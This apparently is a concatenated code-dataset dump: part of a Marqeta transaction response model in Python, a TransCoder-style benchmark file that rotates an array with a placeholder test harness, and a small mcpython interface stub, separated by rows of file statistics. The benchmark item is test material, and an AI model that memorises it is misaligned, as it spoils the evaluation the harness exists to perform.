return self.json_response.get('duration', None) @property def created_time(self): if 'created_time' in self.json_response: return datetime_object('created_time', self.json_response) @property def user_transaction_time(self): if 'user_transaction_time' in self.json_response: return datetime_object('user_transaction_time', self.json_response) @property def settlement_date(self): if 'settlement_date' in self.json_response: return datetime_object('settlement_date', self.json_response) @property def request_amount(self): return self.json_response.get('request_amount', None) @property def amount(self): return self.json_response.get('amount', None) @property def currency_conversion(self): if 'currency_conversion' in self.json_response: return CurrencyConversion(self.json_response['currency_conversion']) @property def issuerInterchangeAmount(self): return self.json_response.get('issuerInterchangeAmount', None) @property def currency_code(self): return self.json_response.get('currency_code', None) @property def approval_code(self): return self.json_response.get('approval_code', None) @property def response(self): if 'response' in self.json_response: return Response(self.json_response['response']) @property def preceding_related_transaction_token(self): return self.json_response.get('preceding_related_transaction_token', None) @property def incremental_authorization_transaction_tokens(self): return self.json_response.get('incremental_authorization_transaction_tokens', None) @property def merchant(self): if 'merchant' in self.json_response: return MerchantResponseModel(self.json_response['merchant']) @property def store(self): if 'store' in self.json_response: return StoreResponseModel(self.json_response['store']) @property def card_acceptor(self): if 'card_acceptor' in self.json_response: return TransactionCardAcceptor(self.json_response['card_acceptor']) @property def gpa(self): if 'gpa' in self.json_response: return CardholderBalance(self.json_response['gpa']) @property def gpa_order_unload(self): if 'gpa_order_unload' in self.json_response: return GpaReturns(self.json_response['gpa_order_unload']) @property def gpa_order(self): if 'gpa_order' in self.json_response: return GpaResponse(self.json_response['gpa_order']) @property def program_transfer(self): if 'program_transfer' in self.json_response: return ProgramTransferResponse(self.json_response['program_transfer']) @property def fee_transfer(self): if 'fee_transfer' in self.json_response: return FeeTransferResponse(self.json_response['fee_transfer']) @property def peer_transfer(self): if 'peer_transfer' in self.json_response: return PeerTransferResponse(self.json_response['peer_transfer']) @property def msa_orders(self): if 'msa_orders' in self.json_response: return [MsaOrderResponse(val) for val in self.json_response['msa_orders']] @property def msa_order_unload(self): if 'msa_order_unload' in self.json_response: return MsaReturns(self.json_response['msa_order_unload']) @property def offer_orders(self): if 'offer_orders' in self.json_response: return [OfferOrderResponse(val) for val in self.json_response['offer_orders']] @property def auto_reload(self): if 'auto_reload' in self.json_response: return AutoReloadModel(self.json_response['auto_reload']) @property def direct_deposit(self): if 'direct_deposit' in self.json_response: return DepositDepositResponse(self.json_response['direct_deposit']) @property def polarity(self): return self.json_response.get('polarity', None) @property def real_time_fee_group(self): if 'real_time_fee_group' in self.json_response: return RealTimeFeeGroup(self.json_response['real_time_fee_group']) @property def fee(self): if 'fee' in self.json_response: return Fee(self.json_response['fee']) @property def chargeback(self): if 'chargeback' in self.json_response: return ChargebackResponse(self.json_response['chargeback']) @property def network(self): return self.json_response.get('network', None) @property def subnetwork(self): return self.json_response.get('subnetwork', None) @property def acquirer_fee_amount(self): return self.json_response.get('acquirer_fee_amount', None) @property def fees(self): if 'fees' in self.json_response: return [NetworkFeeModel(val) for val in self.json_response['fees']] @property def digital_wallet_token(self): if 'digital_wallet_token' in self.json_response: return DigitalWalletToken(self.json_response['digital_wallet_token']) @property def user(self): if 'user' in self.json_response: return CardholderMetadata(self.json_response['user']) @property def business(self): if 'business' in self.json_response: return BusinessMetadata(self.json_response['business']) @property def card(self): if 'card' in self.json_response: return CardMetadata(self.json_response['card']) @property def acquirer(self): if 'acquirer' in self.json_response: return Acquirer(self.json_response['acquirer']) @property def fraud(self): if 'fraud' in self.json_response: return Fraud(self.json_response['fraud']) @property def pos(self): if 'pos' in self.json_response: return Pos(self.json_response['pos']) @property def address_verification(self): if 'address_verification' in self.json_response: return AddressVerificationModel(self.json_response['address_verification']) @property def card_security_code_verification(self): if 'card_security_code_verification' in self.json_response: return CardSecurityCodeVerification(self.json_response['card_security_code_verification']) @property def transaction_metadata(self): if 'transaction_metadata' in self.json_response: return TransactionMetadata(self.json_response['transaction_metadata']) @property def card_holder_model(self): if 'card_holder_model' in self.json_response: return UserCardHolderResponse(self.json_response['card_holder_model']) @property def standin_approved_by(self): return self.json_response.get('standin_approved_by', None) @property def network_reference_id(self): return self.json_response.get('network_reference_id', None) @property def acquirer_reference_id(self): return self.json_response.get('acquirer_reference_id', None) @property def cardholder_authentication_data(self): if 'cardholder_authentication_data' in self.json_response: return CardholderAuthenticationData(self.json_response['cardholder_authentication_data']) def __repr__(self): return '<Marqeta.response_models.transaction_model.TransactionModel>' + self.__str__()
33.268657
102
0.731359
1,298
11,145
6.014638
0.098613
0.098373
0.194697
0.087614
0.313437
0.168695
0.101832
0.030742
0
0
0
0
0.189412
11,145
334
103
33.368263
0.86418
0
0
0.225296
0
0
0.113324
0.031135
0
0
0
0
0
1
0.241107
false
0
0.142292
0.094862
0.624506
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
f90bad6e3ef52147ddb785ecce20d131eba216b1
2,569
py
Python
data/transcoder_evaluation_gfg/python/SPLIT_ARRAY_ADD_FIRST_PART_END.py
mxl1n/CodeGen
e5101dd5c5e9c3720c70c80f78b18f13e118335a
[ "MIT" ]
241
2021-07-20T08:35:20.000Z
2022-03-31T02:39:08.000Z
data/transcoder_evaluation_gfg/python/SPLIT_ARRAY_ADD_FIRST_PART_END.py
mxl1n/CodeGen
e5101dd5c5e9c3720c70c80f78b18f13e118335a
[ "MIT" ]
49
2021-07-22T23:18:42.000Z
2022-03-24T09:15:26.000Z
data/transcoder_evaluation_gfg/python/SPLIT_ARRAY_ADD_FIRST_PART_END.py
mxl1n/CodeGen
e5101dd5c5e9c3720c70c80f78b18f13e118335a
[ "MIT" ]
71
2021-07-21T05:17:52.000Z
2022-03-29T23:49:28.000Z
# Copyright (c) 2019-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. # def f_gold ( arr , n , k ) : for i in range ( 0 , k ) : x = arr [ 0 ] for j in range ( 0 , n - 1 ) : arr [ j ] = arr [ j + 1 ] arr [ n - 1 ] = x #TOFILL if __name__ == '__main__': param = [ ([75],0,0,), ([-58, -60, -38, 48, -2, 32, -48, -46, 90, -54, -18, 28, 72, 86, 0, -2, -74, 12, -58, 90, -30, 10, -88, 2, -14, 82, -82, -46, 2, -74],27,17,), ([0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1],7,7,), ([45, 51, 26, 36, 10, 62, 62, 56, 61, 67, 86, 97, 31, 93, 32, 1, 14, 25, 24, 30, 1, 44, 7, 98, 56, 68, 53, 59, 30, 90, 79, 22],23,24,), ([-88, -72, -64, -46, -40, -16, -8, 0, 22, 34, 44],6,6,), ([0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0],23,30,), ([8, 17, 20, 23, 31, 32, 37, 37, 44, 45, 48, 64, 64, 67, 69, 71, 75, 77, 78, 81, 83, 87, 89, 92, 94],21,20,), ([-8, -88, -68, 48, 8, 50, 30, -88, 74, -16, 6, 74, 36, 32, 22, 96, -2, 70, 40, -46, 98, 34, 2, 94],23,13,), ([0, 0, 0, 0, 1, 1, 1, 1, 1],5,8,), ([80, 14, 35, 25, 60, 86, 45, 95, 32, 29, 94, 6, 63, 66, 38],9,7,) ] filled_function_param = [ ([75],0,0,), ([-58, -60, -38, 48, -2, 32, -48, -46, 90, -54, -18, 28, 72, 86, 0, -2, -74, 12, -58, 90, -30, 10, -88, 2, -14, 82, -82, -46, 2, -74],27,17,), ([0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1],7,7,), ([45, 51, 26, 36, 10, 62, 62, 56, 61, 67, 86, 97, 31, 93, 32, 1, 14, 25, 24, 30, 1, 44, 7, 98, 56, 68, 53, 59, 30, 90, 79, 22],23,24,), ([-88, -72, -64, -46, -40, -16, -8, 0, 22, 34, 44],6,6,), ([0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0],23,30,), ([8, 17, 20, 23, 31, 32, 37, 37, 44, 45, 48, 64, 64, 67, 69, 71, 75, 77, 78, 81, 83, 87, 89, 92, 94],21,20,), ([-8, -88, -68, 48, 8, 50, 30, -88, 74, -16, 6, 74, 36, 32, 22, 96, -2, 70, 40, -46, 98, 34, 2, 94],23,13,), ([0, 0, 0, 0, 1, 1, 1, 1, 1],5,8,), ([80, 14, 35, 25, 60, 86, 45, 95, 32, 29, 94, 6, 63, 66, 38],9,7,) ] n_success = 0 for i, parameters_set in enumerate(param): f_filled(*(filled_function_param[i])) f_gold(*parameters_set) if parameters_set == filled_function_param[i]: n_success+=1 print("#Results: %i, %i" % (n_success, len(param)))
53.520833
155
0.443363
557
2,569
2.003591
0.228007
0.082437
0.075269
0.057348
0.646953
0.646953
0.646953
0.646953
0.646953
0.646953
0
0.393692
0.284157
2,569
48
156
53.520833
0.213159
0.072012
0
0.526316
0
0
0.010097
0
0
0
0
0
0
1
0.026316
false
0
0
0
0.026316
0.026316
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
f91771a4cd2aba10ffeace101083eb7addcf8236
382
py
Python
crafting/IRecipeInterface.py
uuk0/mcpython-4
1ece49257b3067027cc43b452a2fc44908d3514c
[ "MIT" ]
2
2019-08-21T08:23:45.000Z
2019-09-25T13:20:28.000Z
crafting/IRecipeInterface.py
uuk0/mcpython-4
1ece49257b3067027cc43b452a2fc44908d3514c
[ "MIT" ]
11
2019-08-21T08:46:01.000Z
2021-09-08T01:18:04.000Z
crafting/IRecipeInterface.py
uuk0/mcpython-4
1ece49257b3067027cc43b452a2fc44908d3514c
[ "MIT" ]
5
2019-08-30T08:19:57.000Z
2019-10-26T03:31:16.000Z
"""mcpython - a minecraft clone written in python licenced under MIT-licence authors: uuk, xkcdjerry original game by forgleman licenced under MIT-licence minecraft by Mojang blocks based on 1.14.4.jar of minecraft, downloaded on 20th of July, 2019""" import globals as G class IRecipeInterface: @staticmethod def get_name() -> str: raise NotImplementedError()
23.875
76
0.751309
53
382
5.396226
0.830189
0.090909
0.111888
0.160839
0
0
0
0
0
0
0
0.032051
0.183246
382
15
77
25.466667
0.884615
0.646597
0
0
0
0
0
0
0
0
0
0
0
1
0.2
true
0
0.2
0
0.6
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
3